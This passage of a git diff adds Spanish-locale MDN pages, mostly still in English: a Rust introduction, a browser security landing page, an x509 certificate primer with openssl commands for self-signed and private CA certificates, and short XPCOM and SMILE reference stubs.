+     <dd><a href="/en/JavaScript" title="en/JavaScript">JavaScript</a>, <a href="/en/XPCOM" title="en/XPCOM">XPCOM</a>, <a href="/En/Developer_Guide" title="en/Developing_Mozilla">Developing Mozilla</a>, <a href="/en/Extensions" title="en/Extensions">Extensions</a>, <a href="/en/Addons" title="en/Addons">Addons</a></dd>
+    </dl>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
diff --git a/files/es/mozilla/rust/index.html b/files/es/mozilla/rust/index.html
new file mode 100644
index 0000000000..3454ab434b
--- /dev/null
+++ b/files/es/mozilla/rust/index.html
@@ -0,0 +1,45 @@
+---
+title: The Rust programming language
+slug: Mozilla/Rust
+tags:
+  - Desarrollo web
+  - lenguajes
+  - paralelización
+  - systemas
+translation_of: Mozilla/Rust
+---
+<p><img alt="Rust logo" src="https://www.rust-lang.org/logos/rust-logo-blk.svg" style="float: left; height: 150px; width: 150;"><a href="https://www.rust-lang.org/">Rust</a> es un nuevo lenguaje de programación de código libre, creado por Mozilla y una comunidad de voluntarios, diseñado para ayudar a los desarrolladores a crear rápidamente aplicaciones seguras que puedan tener todas las ventajas de los modernos procesadores de varios núcleos. Evita los accesos de memoria incorrectos, garantiza hilos de procesamiento seguros y además tiene una sintaxis fácil de aprender.</p>
+
+<p>Además Rust ofrece abstracciones a coste cero, semántica de movimientos, y garantiza memoria segura,  hilos sin condiciones de carreras, genéricos basados en propiedades, identificación de patrones, deducciones de tipos, y uniones eficientes a C, con unos tamaños en ejecución mínimos. </p>
+
+<p>Para aprender más de Rust, puede:</p>
+
+<ul>
+ <li>Ver los vídeos a continuación para ver más en detalle la potencia y beneficios que tiene Rust.</li>
+ <li>Leer el libro en linea<em><a href="https://doc.rust-lang.org/book/">The Rust Programming Language</a></em>.</li>
+ <li>Descargarse el compilador de Rust, ver los ejemplos y aprender todo lo que quiera en el sitio oficial de Rust <a href="https://www.rust-lang.org/">Rust official web site</a>.</li>
+</ul>
+
+<h2 id="Rust_and_the_future_of_systems_programming">Rust and the future of systems programming</h2>
+
+<p>{{EmbedYouTube("8EPsnf_ZYU0")}}</p>
+
+<h2 id="Unlocking_the_power_of_parallelism_with_Rust">Unlocking the power of parallelism with Rust</h2>
+
+<p>{{EmbedYouTube("cNeIOt8ZdAY")}}</p>
+
+<h2 id="Rust_for_web_developers">Rust for web developers</h2>
+
+<p>{{EmbedYouTube("FfoXFnzZbBM")}}</p>
+
+<h2 id="Safe_systems_programming_with_Rust">Safe systems programming with Rust</h2>
+
+<p>{{EmbedYouTube("P3sfNGtpuxc")}}</p>
+
+<h2 id="Growing_the_Rust_community">Growing the Rust community</h2>
+
+<p>{{EmbedYouTube("duv0tuPAnO0")}}</p>
+
+<h2 id="Putting_Rust_into_production_at_Mozilla">Putting Rust into production at Mozilla</h2>
+
+<p>{{EmbedYouTube("2RhbYpgVpg0")}}</p>
diff --git a/files/es/mozilla/security/index.html b/files/es/mozilla/security/index.html
new file mode 100644
index 0000000000..bf7933d35b
--- /dev/null
+++ b/files/es/mozilla/security/index.html
@@ -0,0 +1,33 @@
+---
+title: Browser security
+slug: Mozilla/Security
+tags:
+  - Developing Mozilla
+  - Firefox
+  - Landing
+  - Mozilla
+  - NeedsTranslation
+  - Security
+  - TopicStub
+translation_of: Mozilla/Security
+---
+<p><span class="seoSummary">An important aspect of developing code for any browser, including Firefox, as well as any Web-oriented project, is its security. These articles provide important guides and references to ensuring the code you write is secure, including both design recommendations and testing guidelines.</span></p>
+
+<p>{{LandingPageListSubpages}}</p>
+
+<section id="Quick_Links">
+<ol>
+ <li><a href="https://www.mozilla.org/en-US/security/bug-bounty/" title="We appreciate all bug reports, but we back up our appreciation of reports of severe security problems with a $3000 reward!">Bug bounty program</a></li>
+ <li><a href="http://www.mozilla.org/projects/security/known-vulnerabilities.html" title="Learn from our past mistakes.">Known vulnerabilities and fixes in Mozilla</a></li>
+ <li><a href="/en-US/docs/Mozilla/Security">Debugging and testing</a>
+  <ol>
+   <li>{{Link("/en-US/docs/Clang_Static_Analysis")}}</li>
+   <li>{{Link("/en-US/docs/Debugging_Mozilla_with_Valgrind")}}</li>
+   <li>{{Link("/en-US/docs/Mozilla/Testing/Firefox_and_Address_Sanitizer")}}</li>
+   <li>{{Link("/en-US/docs/Mozilla/QA/Fuzzing")}}</li>
+  </ol>
+ </li>
+ <li>{{Link("/en-US/docs/Mozilla/Developer_guide")}}</li>
+ <li>{{Link("/en-US/docs/Web/Security")}}</li>
+</ol>
+</section>
diff --git a/files/es/mozilla/security/x509_certificates/index.html b/files/es/mozilla/security/x509_certificates/index.html
new file mode 100644
index 0000000000..cdad565f6d
--- /dev/null
+++ b/files/es/mozilla/security/x509_certificates/index.html
@@ -0,0 +1,386 @@
+---
+title: A Web PKI x509 certificate primer
+slug: Mozilla/Security/x509_Certificates
+translation_of: Mozilla/Security/x509_Certificates
+---
+<p><span class="seoSummary">X.509 (in this document referred as x509) is an ITU standard to describe certificates. This article provides an overview of what these are and how they work.</span></p>
+
+<p>Three versions of the x509 standard have been defined for web-pki. In this document we will be referring to the current standard in use for web pki: x509 v3, which is described in detail in {{rfc(5280)}}. In general, x509 certificates bind a signature to a validity period, a public key, a subject, an issuer, and a set of extensions. The extensions define extra properties of the certificate such as extra attributes of the certificate or constraints on the use of the certificate. In order for a certificate to be valid these three requirements must be met:</p>
+
+<ol>
+ <li>There is a verification path from the site certificate to a trusted certificate of the user agent (ie if you follow the issuer path you will end on a self-signed certificate that is considered trusted by the browser).</li>
+ <li>The attributes of the certificates in the verification path have valid parameters for that verification (for example the validity period of all the certificates are valid for the time the verification is being done)</li>
+ <li>Revocation checks are considered OK for that particular validation.</li>
+</ol>
+
+<p>One issue that is not commonly known is that the x509 trust graph is not a forest (a bunch of trees where each root is a trusted root) but a cyclic graph, where the same key/issuer can be a root or an intermediate for another root in the browsers key store (when roots create intermediates for each other it is called cross-signing).</p>
+
+<h2 id="Extensions_2"><span class="mw-headline" id="Extensions">Extensions</span></h2>
+
+<p>While {{rfc(5280)}} defines 16 extensions for webpki in this document we will be describing the six extensions we considered critical for understanding. Certificates can have other extensions not described on {{rfc(5280)}}, but that is out of the scope of this document. Extensions can be marked as critical or non-critical, conforming certificate verification libraries should stop processing verification when encountering a critical extension that they do not understand ( and should continue processing if the extension is marked as non-critical) mozila::pkix has this behavior.</p>
+
+<h3 id="Subject_alternate_name"><span class="mw-headline" id="Subject_Alternate_Name">Subject alternate name</span></h3>
+
+<p>This extension defines what other names (such as DNS names) are valid for this certificate. This allows for a certificate to be used for more than one <a class="external text" href="http://www.tech-faq.com/fqdn.html" rel="nofollow">FQDN</a>, for example you can have a certificate that is valid for both a.example.com and b.example.com</p>
+
+<h3 id="Basic_constraints"><span class="mw-headline" id="Basic_Constraints">Basic constraints</span></h3>
+
+<p>This allows certificates to be asserted as issuing certificates (it is mandatory for CA certificates). It can also be used to express the maximum depth of the trust path from the CA.</p>
+
+<h3 id="Key_usage"><span class="mw-headline" id="Key_Usage">Key usage</span></h3>
+
+<p>This extension is used to constrain the purpose for the key in the certificate. More than one key usage can be asserted. Examples of key usages are: <code>digitalSignature</code>, <code>keyEncipherment</code>, <code>dataEncipherment</code>, <code>keyCertSign</code>, and <code>cRLSign</code>. For CA certificates the <code>keyCertSign</code> bit <strong>must</strong> be set.</p>
+
+<h3 id="Extended_key_usages"><span class="mw-headline" id="Extended_Key_Usages">Extended key usages</span></h3>
+
+<p>This is another bitfield to constrain the usages of the key of the certificate. Its is directed mostly at what type of application the certificate was issued for. Examples of extended key usages are: <code>serverAuth</code>, <code>clientAuth</code>, and <code>OCSPSigning</code>. For end-entity certificates for PKI this extension is required to exist with the <code>serverAuth</code> bit asserted.</p>
+
+<h3 id="Name_constraints"><span class="mw-headline" id="Name_Constraints">Name constraints</span></h3>
+
+<p>This is an extension exclusive for CA and indicates limits on the name space for its children. This is one of the most powerful extensions for businesses to have to help limit risk imposed by losing the private key of the CA.</p>
+
+<h3 id="Authority_information_access"><span class="mw-headline" id="Authority_Information_Access">Authority information access</span></h3>
+
+<p>This extension is primarily used to to describe the OCSP location for revocation checking. It is mandatory for certificates that chain up to a root in the Mozilla CA program.</p>
+
+<h2 id="Self-signed_certificates"><span class="mw-headline" id="Self_Signed_Certs">Self-signed certificates</span></h2>
+
+<p>These are the steps to generate a certificate for www.example.com. Replace this value with the actual server name in the steps below.<br>
+ 1. Generate the key using the following command:</p>
+
+<ul>
+ <li><code>openssl genpkey -algorithm RSA -out key.pem -pkeyopt rsa_keygen_bits:2048</code></li>
+ <li>2048 is considered secure for the next 4 years.</li>
+</ul>
+
+<dl>
+</dl>
+
+<p>2. Generate CSR using this command:</p>
+
+<ul>
+ <li><code>openssl req -new -key key.pem -days 1096 -extensions v3_ca -batch -out example.csr -utf8 -subj '/CN=www.example.com'</code></li>
+ <li>This creates a new Certificate Signing Request (CSR) that will be valid for 3 years.</li>
+</ul>
+
+<dl>
+</dl>
+
+<p>3. Write extensions file by creating a new file with name <code>openssl.ss.cnf</code> with the following contents:</p>
+
+<ul>
+ <li>basicConstraints = CA:FALSE</li>
+ <li>subjectAltName =DNS:www.example.com</li>
+ <li>extendedKeyUsage =serverAuth</li>
+</ul>
+
+<dl>
+</dl>
+
+<p>4. Self-sign csr (using SHA256) and append the extensions described in the file</p>
+
+<ul>
+ <li>"openssl x509 -req -sha256 -days 3650 -in example.csr -signkey key.pem -set_serial $ANY_INTEGER -extfile openssl.ss.cnf -out example.pem"</li>
+</ul>
+
+<dl>
+</dl>
+
+<p>You can now use example.pem as your certfile</p>
+
+<h2 id="CAs_included_in_Firefox"><span class="mw-headline" id="CAs_Included_in_Firefox">CAs included in Firefox</span></h2>
+
+<p>When you visit a secure website, Firefox will validate the website’s certificate by checking that the certificate that signed it is valid, and checking that the certificate that signed the parent certificate is valid and so forth up to a root certificate that is known to be valid. This chain of certificates is called the Certificate Hierarchy.</p>
+
+<p>If your certificates will only be used to verify one domain (e.g. *.yourcompany.com) but you want others outside of your organization to be able to browse to your website using https without having to manually import a root certificate, then you can get an SSL certificate from one of the CAs who already have a root certificate included in the major browsers.</p>
+
+<p>Firefox uses a default set of X.509v3 root certificates for various <a class="external text" href="http://www.mozilla.org/projects/security/certs/included/" rel="nofollow">Certification Authorities (CAs)</a>. The root certificates included by default have their "trust bits" set to indicate if the CA's root certificates may be used to verify certificates for SSL servers, S/MIME email users, and/or digitally-signed code objects without having to ask users for further permission or information.</p>
+
+<p>CAs apply to have their root certificates <a class="external text" href="http://www.mozilla.org/projects/security/certs/included/" rel="nofollow">included by default in Mozilla products</a> by following the <a class="external text" href="http://www.mozilla.org/projects/security/certs/policy/" rel="nofollow">Mozilla CA Certificate Policy</a> and applying for inclusion as per <a href="https://wiki.mozilla.org/CA:How_to_apply" title="CA:How to apply">CA:How_to_apply</a>. Users may override the default root certificate settings using the <a class="external text" href="https://wiki.mozilla.org/CA:UserCertDB" rel="nofollow">Certificate Manager</a>.</p>
+
+<p>Some organizations make use of the set of CAs included in Mozilla's products. If you wish to do this, you should read the relevant part of the <a href="https://wiki.mozilla.org/CA:FAQ#Can_I_use_Mozilla.27s_set_of_CA_certificates.3F">Mozilla CA FAQ</a> before doing so.</p>
+
+<h2 id="Running_your_Own_CA_2"><span class="mw-headline" id="Running_your_Own_CA">Running your Own CA</span></h2>
+
+<p>If you are going to have your own CA, we recommend building 3 certificates: a long term root cert, a medium term intermediate cert, and a short term end-entity cert. This type of hierarchy allows for a relatively simple long term root to be distributed to clients, and some flexibility on the intermediate cert so that you can change parameters based on best practices and security research.</p>
+
+<h2 id="Generate_your_CA_Root_2"><span class="mw-headline" id="Generate_your_CA_Root">Generate your CA Root</span></h2>
+
+<p>Update *.example.com and *.example.net below to match your domains.</p>
+
+<p>Assumptions:</p>
+
+<ul>
+ <li>You are the domain owner of *.example.com and *.example.net.</li>
+ <li>Your computer is <strong>not</strong> connected to the internet.</li>
+</ul>
+
+<p>Steps to generate your CA root certificate:</p>
+
+<ol>
+ <li>Generate key
+  <ul>
+   <li>"openssl genpkey -algorithm RSA -out rootkey.pem -pkeyopt rsa_keygen_bits:4096"</li>
+   <li>4096 is considered secure for the next 15 years.</li>
+  </ul>
+ </li>
+ <li>Generate csr
+  <ul>
+   <li>"openssl req -new -key rootkey.pem -days 5480 -extensions v3_ca -batch -out root.csr -utf8 -subj '/C=US/O=Orgname/OU=SomeInternalName'</li>
+   <li>Make a new Certificate Signing Request (CSR) that will be valid for 15 years.</li>
+  </ul>
+ </li>
+ <li>Write extensions File (openssl.root.cnf)
+  <ul>
+   <li>basicConstraints = critical, CA:TRUE</li>
+   <li>keyUsage = keyCertSign, cRLSign</li>
+   <li>subjectKeyIdentifier = hash</li>
+   <li>nameConstraints = permitted;DNS:example.com,permitted;DNS:example.net</li>
+  </ul>
+ </li>
+ <li>Self-sign csr (using SHA256) and append the extensions described in the file
+  <ul>
+   <li>"openssl x509 -req -sha256 -days 3650 -in root.csr -signkey rootkey.pem -set_serial $ANY_SMALL_INTEGER -extfile openssl.root.cnf -out root.pem"</li>
+  </ul>
+ </li>
+</ol>
+
+<p>Now you have CA pem file with its associated key.</p>
+
+<h2 id="Generate_your_Intermediate_cert_2"><span class="mw-headline" id="Generate_your_Intermediate_cert">Generate your Intermediate cert</span></h2>
+
+<p>The following steps create an intermediate cert that is valid for 8 years.</p>
+
+<ol>
+ <li>Generate key
+  <ul>
+   <li>"openssl genpkey -algorithm RSA -out r=intkey.pem -pkeyopt rsa_keygen_bits: 3072"</li>
+   <li>A 3072 bit key is considered secure for the next 8 years.</li>
+  </ul>
+ </li>
+ <li>Generate csr
+  <ul>
+   <li>"openssl req -new -key intkey.pem -days 2922 -extensions v3_ca -batch -out int.csr - utf8 -subj '/C=US/O=Orgname/OU=SomeInternalName2'</li>
+   <li>Make a new Certificate Signing Request (CSR) that will be valid for 8 years.</li>
+  </ul>
+ </li>
+ <li>Write extensions File (openssl.int.cnf)
+  <ul>
+   <li>basicConstraints = critical, CA:TRUE</li>
+   <li>authorityKeyIdentifier = keyid, issuer</li>
+   <li>subjectKeyIdentifier = hash</li>
+   <li>keyUsage = keyCertSign, cRLSign</li>
+   <li>extendedKeyUsage =serverAuth</li>
+   <li>authorityInfoAccess = OCSP;URI:<a class="external free" href="http://ocsp.example.com:8888/" rel="nofollow">http://ocsp.example.com:8888/</a></li>
+  </ul>
+ </li>
+ <li>Sign the intermediate csr with the root key and the intermediate extensions
+  <ul>
+   <li>"openssl x509 -req -sha256 -days 2922 -in int.csr -CAkey rootkey.pem -CA root.pem -set_serial $SOME_LARGE_INTEGER -out int.pem -extfile openssl.int.cnf"</li>
+  </ul>
+ </li>
+</ol>
+
+<h2 id="Generate_the_end_entity_certificate_2"><span class="mw-headline" id="Generate_the_end_entity_certificate">Generate the end entity certificate</span></h2>
+
+<p>Update www.example.com below to match your domain.</p>
+
+<ol>
+ <li>Generate key
+  <ul>
+   <li>"openssl genpkey -algorithm RSA -out eekey.pem -pkeyopt rsa_keygen_bits: 2048"</li>
+   <li>2048 is considered secure for the next 4 years.</li>
+  </ul>
+ </li>
+ <li>Generate csr
+  <ul>
+   <li>"openssl req -new -key key.pem -days 1096 -extensions v3_ca -batch -out example.csr - utf8 -subj '/CN=www.example.com'</li>
+   <li>Make a new Certificate Signing Request (CSR) that will be valid for 3 years.</li>
+  </ul>
+ </li>
+ <li>Write extensions file (make a new file with name openssl.ss.cnf with the following contents)
+  <ul>
+   <li>basicConstraints = CA:FALSE</li>
+   <li>subjectAltName =DNS:www.example.com</li>
+   <li>extendedKeyUsage =serverAuth</li>
+   <li>authorityInfoAccess = OCSP;URI:<a class="external free" href="http://ocsp.example.com:80/" rel="nofollow">http://ocsp.example.com:80/</a></li>
+  </ul>
+ </li>
+ <li>Intermediate sings the csr (using SHA256) and appends the extensions described in the file
+  <ul>
+   <li>"openssl x509 -req -sha256 -days 1096 -in example.csr -CAkey intkey.pem -CA int.pem -set_serial $SOME_LARGE_INTEGER -out www.example.com.pem -extfile openssl.int.cnf"</li>
+  </ul>
+ </li>
+</ol>
+
+<h1 id="Security_Notes_2"><span class="mw-headline" id="Security_Notes">Security Notes</span></h1>
+
+<p>There are several organizations that provide recommendations regarding the security parameters for key/hash sizes given current computational power. For the end date of the root cert created following the instructions in this page (year 2017). These are the recomendations of bit sizes (from <a class="external free" href="http://www.keylength.com/" rel="nofollow">http://www.keylength.com/</a>):</p>
+
+<table class="wikitable">
+ <tbody>
+  <tr>
+   <th></th>
+   <th>Asymmetric</th>
+   <th>ECC(Key)</th>
+   <th>Hash</th>
+  </tr>
+  <tr>
+   <td>Linestra(2004)</td>
+   <td>1902</td>
+   <td>172</td>
+   <td>172</td>
+  </tr>
+  <tr>
+   <td>Ecrypt 2012</td>
+   <td>2432</td>
+   <td>224</td>
+   <td>224</td>
+  </tr>
+  <tr>
+   <td>NIST 2012</td>
+   <td>2048</td>
+   <td>224</td>
+   <td>224</td>
+  </tr>
+  <tr>
+   <td>ANSSI 2010</td>
+   <td>4096</td>
+   <td>200</td>
+   <td>256</td>
+  </tr>
+  <tr>
+   <td><a class="external mw-magiclink-rfc" href="https://tools.ietf.org/html/rfc3766" rel="nofollow">RFC 3766</a></td>
+   <td>2358</td>
+   <td>200</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>BSI</td>
+   <td>1976</td>
+   <td>256</td>
+   <td>256</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>In other words, SHA1 is now deprecated for new uses. We should use at least 3072 key sizes and at least a 256 ECC curve. Thus the recommendation here is for the root to be 4096 if using RSA and p384 for the root key. (p384 also chosen for compatibility as most SSL/TLS implementations support this part of suite B).</p>
+
+<h1 id="Error_Codes_in_Firefox_2"><span class="mw-headline" id="Error_Codes_in_Firefox">Error Codes in Firefox</span></h1>
+
+<p>Here are some common errors that might be encountered when working with certificates in Firefox.</p>
+
+<table class="wikitable">
+ <tbody>
+  <tr>
+   <th>Error Code</th>
+   <th>What It Means</th>
+   <th>What Can I Do</th>
+  </tr>
+  <tr>
+   <td>SEC_ERROR_BAD_DER</td>
+   <td>A certificate is not properly encoded according to ASN.1 (DER) encoding</td>
+   <td>Re-generate the improperly-encoded certificate</td>
+  </tr>
+  <tr>
+   <td>SEC_ERROR_CA_CERT_INVALID</td>
+   <td>An end-entity certificate is being used to issue another certificate</td>
+   <td>Ensure that any certificate intended to issue certificates has a basic constraints extension with cA: TRUE</td>
+  </tr>
+  <tr>
+   <td>SEC_ERROR_BAD_SIGNATURE</td>
+   <td>A signature on a certificate is improperly formatted or the certificate has been tampered with</td>
+   <td>Re-issue the certificate with the bad signature</td>
+  </tr>
+  <tr>
+   <td>SEC_ERROR_CERT_BAD_ACCESS_LOCATION</td>
+   <td>The OCSP URI in the authorityInformationAccess extension is improperly formed</td>
+   <td>Re-generate the certificate with a well-formed OCSP URI</td>
+  </tr>
+  <tr>
+   <td>SEC_ERROR_CERT_NOT_IN_NAME_SPACE</td>
+   <td>A certificate has a common name or subject alternative name that is not in the namespace of an issuing certificate</td>
+   <td>Re-issue the certificate with names that are within the namespace of all certificates in the chain</td>
+  </tr>
+  <tr>
+   <td>SEC_ERROR_CERT_SIGNATURE_ALGORITHM_DISABLED</td>
+   <td>A certificate has been signed with an obsolete algorithm</td>
+   <td>Re-sign the certificate using a modern algorithm</td>
+  </tr>
+  <tr>
+   <td>SEC_ERROR_EXPIRED_CERTIFICATE</td>
+   <td>A certificate is too old to be used</td>
+   <td>Re-generate the certificate</td>
+  </tr>
+  <tr>
+   <td>SEC_ERROR_EXTENSION_VALUE_INVALID</td>
+   <td>A certificate has an extension with an empty value</td>
+   <td>Re-generate the certificate without the extension, or re-generate it with a non-empty value</td>
+  </tr>
+  <tr>
+   <td>SEC_ERROR_INADEQUATE_CERT_TYPE</td>
+   <td>A certificate has an extended key usage extension that does not assert a required usage, or an end-entity certificate asserts the id-kp-OCSPSigning usage when it shouldn't</td>
+   <td>Re-generate the certificate with the appropriate extended key usage values</td>
+  </tr>
+  <tr>
+   <td>SEC_ERROR_INADEQUATE_KEY_USAGE</td>
+   <td>A certificate has a key usage extension that does not assert a required usage</td>
+   <td>Re-generate the certificate with the appropriate key usage values</td>
+  </tr>
+  <tr>
+   <td>SEC_ERROR_INVALID_ALGORITHM</td>
+   <td>A certificate has been signed with an unknown algorithm</td>
+   <td>Re-sign the certificate with a standardized certificate signing algorithm</td>
+  </tr>
+  <tr>
+   <td>SEC_ERROR_INVALID_TIME</td>
+   <td>A time field in a certificate has an invalid value</td>
+   <td>Re-generate the certificate with valid encodings for time fields</td>
+  </tr>
+  <tr>
+   <td>MOZILLA_PKIX_ERROR_KEY_PINNING_FAILURE</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>SEC_ERROR_PATH_LEN_CONSTRAINT_INVALID</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>SEC_ERROR_UNKNOWN_CRITICAL_EXTENSION</td>
+   <td>A certificate contains an extension marked as critical that is not handled by mozilla::pkix</td>
+   <td>Re-generate the certificate without the extension or with it not marked as critical</td>
+  </tr>
+  <tr>
+   <td>SEC_ERROR_UNKNOWN_ISSUER</td>
+   <td>Either a missing intermediate or root certificate is necessary to verify the certificate</td>
+   <td>Import the root certificate into Firefox or have the server send the intermediate</td>
+  </tr>
+  <tr>
+   <td>SEC_ERROR_INVALID_KEY</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>SEC_ERROR_UNSUPPORTED_KEYALG</td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>SEC_ERROR_EXPIRED_ISSUER_CERTIFICATE</td>
+   <td>An issuer certificate is too old</td>
+   <td>Re-issue the issuer certificate</td>
+  </tr>
+  <tr>
+   <td>MOZILLA_PKIX_ERROR_CA_CERT_USED_AS_END_ENTITY</td>
+   <td>A certificate with a basic constraints extension with cA:TRUE is being used as an end-entity certificate</td>
+   <td>Re-generate the end-entity certificate without the basic constraints extension</td>
+  </tr>
+  <tr>
+   <td>MOZILLA_PKIX_ERROR_INADEQUATE_KEY_SIZE</td>
+   <td>A certificate has a key that is too small to be secure</td>
+   <td>Re-generate a larger key and issue a certificate using that key</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/es/mozilla/tech/index.html b/files/es/mozilla/tech/index.html
new file mode 100644
index 0000000000..f9682e62e1
--- /dev/null
+++ b/files/es/mozilla/tech/index.html
@@ -0,0 +1,14 @@
+---
+title: Mozilla technologies
+slug: Mozilla/Tech
+tags:
+  - Landing
+  - Mozilla
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - XUL
+translation_of: Mozilla/Tech
+---
+<p>Mozilla has several technologies used as components of its projects. These are documented here. (flesh out this text).</p>
+<p>{{LandingPageListSubpages}}</p>
diff --git a/files/es/mozilla/tech/toolkit_api/smile/index.html b/files/es/mozilla/tech/toolkit_api/smile/index.html
new file mode 100644
index 0000000000..20b37a8659
--- /dev/null
+++ b/files/es/mozilla/tech/toolkit_api/smile/index.html
@@ -0,0 +1,58 @@
+---
+title: SMILE
+slug: Mozilla/Tech/Toolkit_API/SMILE
+tags:
+  - Interfaces
+  - NeedsTranslation
+  - SMILE
+  - SeaMonkey
+  - TopicStub
+  - XPCOM
+  - XPCOM API Reference
+translation_of: Mozilla/Tech/Toolkit_API/SMILE
+---
+<p> </p>
+
+<div class="overheadIndicator smMinVerHeader standardNote">
+<p>This article covers features introduced in <a class="new" href="https://developer.mozilla.org/en-US/docs/SeaMonkey_2_for_developers" rel="nofollow">SeaMonkey 2</a></p>
+</div>
+
+<p> </p>
+
+<p>SMILE is a JavaScript library designed to help developers build extensions using terminology and interfaces that are familiar to them.</p>
+
+<p>SMILE is about making it easier for extension developers to be productive, by minimizing some of the XPCOM formality and adding some "modern" JavaScript ideas. We want to start with areas that will provide the most benefit.</p>
+
+<p>SMILE has a <code><span class="lang lang-en"><a class="external" href="http://mxr.mozilla.org/comm-central/source/suite/smile/public/smileIApplication.idl" rel="external nofollow" title="http://mxr.mozilla.org/comm-central/source/suite/smile/public/smileIApplication.idl">smileIApplication</a> </span></code> interface that implements all the functions of <code><span class="lang lang-en"><a class="external" href="http://mxr.mozilla.org/comm-central/source/mozilla/toolkit/components/exthelper/extIApplication.idl" rel="external nofollow" title="http://mxr.mozilla.org/comm-central/source/mozilla/toolkit/components/exthelper/extIApplication.idl">extIApplication</a></span></code>. The library has also been implemented in Firefox ("<a class="internal" href="/en/Toolkit_API/FUEL" title="en/FUEL">FUEL</a>") and in Thunderbird ("<a class="internal" href="/en/Toolkit_API/STEEL" title="en/Thunderbird/STEEL">STEEL</a>").</p>
+
+<h3 id="Objects" name="Objects">Objects</h3>
+
+<h4 id="extIApplication_Objects">extIApplication Objects</h4>
+
+<ul>
+ <li><a href="/en/Toolkit_API/extIConsole" title="en/FUEL/Console">extIConsole</a></li>
+ <li><a href="/en/Toolkit_API/extIEventItem" title="en/FUEL/EventItem">extIEventItem</a></li>
+ <li><a href="/en/Toolkit_API/extIEventListener" title="en/FUEL/EventListener">extIEventListener</a></li>
+ <li><a href="/en/Toolkit_API/extIEvents" title="en/FUEL/Events">extIEvents</a></li>
+ <li><a href="/en/Toolkit_API/extIExtension" title="en/FUEL/Extension">extIExtension</a></li>
+ <li><a href="/en/Toolkit_API/extIExtensions" title="en/FUEL/Extensions">extIExtensions</a></li>
+ <li><a href="/en/Toolkit_API/extIPreference" title="en/FUEL/Preference">extIPreference</a></li>
+ <li><a href="/en/Toolkit_API/extIPreferenceBranch" title="en/FUEL/PreferenceBranch">extIPreferenceBranch</a></li>
+ <li><a href="/en/Toolkit_API/extISessionStorage" title="en/FUEL/SessionStorage">extISessionStorage</a></li>
+</ul>
+
+<h4 id="smileIApplication_Objects">smileIApplication Objects</h4>
+
+<ul>
+ <li><a class="internal" href="/en/Toolkit_API/SMILE/smileIBookmarkRoots" title="en/Toolkit API/SMILE/smileIBookmarkRoots">smileIBookmarkRoots</a></li>
+ <li><a class="internal" href="/en/Toolkit_API/SMILE/smileIWindow" title="en/Toolkit API/SMILE/smileIWindow">smileIWindow</a></li>
+ <li><a class="internal" href="/en/Toolkit_API/SMILE/smileIBrowserTab" title="en/Toolkit API/SMILE/smileIBrowserTab">smileIBrowserTab</a></li>
+ <li><a class="internal" href="/en/Toolkit_API/SMILE/smileIApplication" title="en/Toolkit API/SMILE/smileIApplication">smileIApplication</a></li>
+</ul>
+
+<h3 id="XPCOM" name="XPCOM">XPCOM</h3>
+
+<p>Although the <a class="internal" href="/en/Toolkit_API/extIApplication" title="en/Toolkit API/extIApplication">extIApplication</a> object is preloaded into XUL scripts, it is not preloaded into JavaScript XPCOM code. The object needs to be accessed like any other XPCOM service:</p>
+
+<pre>var Application = Components.classes["@mozilla.org/smile/application;1"].getService(Components.interfaces.smileIApplication);
+</pre>
diff --git a/files/es/mozilla/tech/xpcom/guide/index.html b/files/es/mozilla/tech/xpcom/guide/index.html
new file mode 100644
index 0000000000..7afb1c9cd1
--- /dev/null
+++ b/files/es/mozilla/tech/xpcom/guide/index.html
@@ -0,0 +1,16 @@
+---
+title: XPCOM guide
+slug: Mozilla/Tech/XPCOM/Guide
+tags:
+  - Landing
+  - Mozilla
+  - NeedsTranslation
+  - TopicStub
+  - XPCOM
+translation_of: Mozilla/Tech/XPCOM/Guide
+---
+<p><span class="seoSummary">These articles provide tutorials and usage documentation for XPCOM, including how to use it in your own projects and how to build XPCOM components for your Firefox add-ons and the like.</span></p>
+<p></p><div class="row topicpage-table">
+    <div class="section"><dl><dl><dt class="landingPageList"><a href="/es/docs/C%C3%B3mo_crear_un_componente_XPCOM_en_JavaScript">Cómo crear un componente XPCOM en JavaScript</a></dt><dd class="landingPageList"></dd></dl></dl></div>
+    <div class="section"><dl><dt class="landingPageList"><a href="/es/docs/Creaci%C3%B3n_de_Componentes_XPCOM">Creación de Componentes XPCOM</a></dt><dd class="landingPageList"></dd></dl></div>
+    </div><p></p>
diff --git a/files/es/mozilla/tech/xpcom/language_bindings/index.html b/files/es/mozilla/tech/xpcom/language_bindings/index.html
new file mode 100644
index 0000000000..727c397d50
--- /dev/null
+++ b/files/es/mozilla/tech/xpcom/language_bindings/index.html
@@ -0,0 +1,25 @@
+---
+title: Language bindings
+slug: Mozilla/Tech/XPCOM/Language_Bindings
+tags:
+  - Embedding
+  - Landing
+  - Mozilla
+  - NeedsTranslation
+  - TopicStub
+  - XPCOM
+  - 'XPCOM:Language Bindings'
+translation_of: Mozilla/Tech/XPCOM/Language_Bindings
+---
+<p>An <strong>XPCOM Language Binding</strong> is a bridge between a particular language and <a href="/en/XPCOM" title="en/XPCOM">XPCOM</a> to provide access to XPCOM objects from that language, and to let modules written in that language be used as XPCOM objects by all other languages for which there are XPCOM bindings.</p>
+<p>More specifically, an XPCOM language binding:</p>
+<ul>
+ <li>Enables <em>access to XPCOM objects from that language</em> (where access means reading/writing/creating XPCOM objects as well as calling methods on them).</li>
+ <li>Exposes <em>modules written in the bound language as XPCOM objects</em>, thereby enabling all other languages for which XPCOM bindings exist to access these modules.</li>
+</ul>
+<p>Since the XPCOM layer itself is written in C/C++, its API can be accessed out-of-the-box using C or C++. In order to allow any other language to use the XPCOM API, a bridging layer is required.</p>
+<p>The following bridging layers are currently available:</p>
+<p></p><div class="row topicpage-table">
+    <div class="section"><dl><dl><dt></dt></dl></dl></div>
